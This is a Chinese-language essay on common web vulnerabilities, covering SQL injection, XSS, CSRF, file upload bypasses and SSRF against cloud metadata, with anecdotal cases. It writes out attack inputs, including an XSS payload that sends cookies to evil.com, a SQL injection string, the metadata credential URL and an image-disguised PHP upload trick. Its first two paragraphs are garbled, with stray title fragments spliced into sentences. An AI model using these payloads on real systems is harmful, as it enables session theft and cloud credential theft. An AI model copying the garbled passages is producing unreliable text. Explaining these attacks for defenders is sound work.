2019年夏天，全漏一个只有19岁的洞原安全研究员在Twitter上发了一条推文，内容很简单：他通过一个参数污染漏洞，理及直接拿到了某知名社交平台内部管理后台的实战访问权限。整个过程没用到任何高级工具，全漏就是洞原手动改了几个URL参数。这条推文后来被删了，理及但截图在圈子里传疯了。实战这件事说明一个道理——Web漏洞从来不需要多复杂，全漏它只需要刚好卡在开发者偷懒的洞原那个点上。

SQL注入是理及最老的Web漏洞之一，老到很多人觉得它已经过时了。实战但你去翻一翻近三年的全漏CVE报告，注入类漏洞依然稳居前三。洞原原因不复杂：框架封装得越好，理及开发者越容易忘记底层发生了什么。比如MyBatis里用${ }代替#{ }，一个字符串拼接就把预编译的防线拆了。我见过一个真实案例，某电商平台的商品搜索接口，前端传keyword=手机' AND 1=1--，后端直接把整条SQL打回数据库，连报错信息都没处理。这种代码放在2005年都算业余，但2023年它确实跑在一家日活百万的应用里。

XSS的处境更微妙。反射型XSS现在很难单独造成大危害，因为浏览器厂商在CSP和SameSite Cookie上做了大量工作。但存储型XSS一旦出现在后台管理系统里，杀伤力反而比十年前更大——因为现在的后台往往集成了工单、审批、数据导出等敏感操作。攻击者只需要在用户昵称里塞一段<img src=x onerror=fetch('//evil.com/'+document.cookie)>，等管理员打开用户列表页面，cookie就飞走了。HttpOnly能挡住cookie窃取，但挡不住攻击者直接用管理员身份发请求。换句话说，XSS的本质不是偷东西，是借刀杀人。

CSRF这几年被讨论得少了，不是因为它消失了，而是因为SameSite=Lax成了Chrome的默认值。但默认值只保护了跨站POST，GET请求依然可能中招。更麻烦的是，很多老系统还在用Referer做校验，而Referer可以被<meta name="referrer" content="no-referrer">直接干掉。我去年遇到一个案例：某政务系统的密码修改接口只校验了Referer，攻击者在自己页面上加了一行meta标签，CSRF就打通了。修复方案也简单，加个csrf_token就行，但那个系统是2012年写的，没人敢动。

文件上传漏洞的玩法这些年变化最大。早期就是传个.php拿shell，现在WAF会拦<?php，于是攻击者开始用.htaccess、.user.ini、甚至phar://反序列化。更隐蔽的是文件名截断和Content-Type伪造的组合拳。我印象最深的是一个案例：某平台只允许上传图片，但校验逻辑是先检查Content-Type，再检查后缀。攻击者传了一个shell.jpg，Content-Type设为image/jpeg，然后在文件内容开头写GIF89a，后面跟PHP代码。服务器把文件当图片存了，但Apache的AddHandler配置又把.jpg解析成了PHP。这种漏洞不是技术问题，是配置问题，而配置问题往往比代码问题更难发现。

SSRF在云原生时代被重新定义了。以前SSRF就是拿内网服务，现在攻击者更关心云元数据接口。http://169.254.169.254/latest/meta-data/iam/security-credentials/这个地址，在AWS、GCP、阿里云上都能拿到临时凭证。一旦拿到，攻击者就能直接操作云资源，从Web漏洞升级成基础设施沦陷。我见过一个创业公司，他们的图片裁剪服务允许用户传URL，没做任何内网地址过滤。攻击者传了元数据地址，拿到了AK/SK，然后把整个S3桶的数据打包下载了。从发现漏洞到数据泄露，不到十分钟。

这些漏洞有一个共同点：它们都不是靠高深技术发现的，而是靠对业务流程的耐心观察。工具能扫出sqlmap能跑出来的注入点，但扫不出“这个参数在业务逻辑里到底代表什么”。真正的实战能力，是看到?id=1的时候，能想到它背后可能连着一张用户表、一个文件路径、或者一个云API。这种直觉没法速成，只能靠一个个案例喂出来。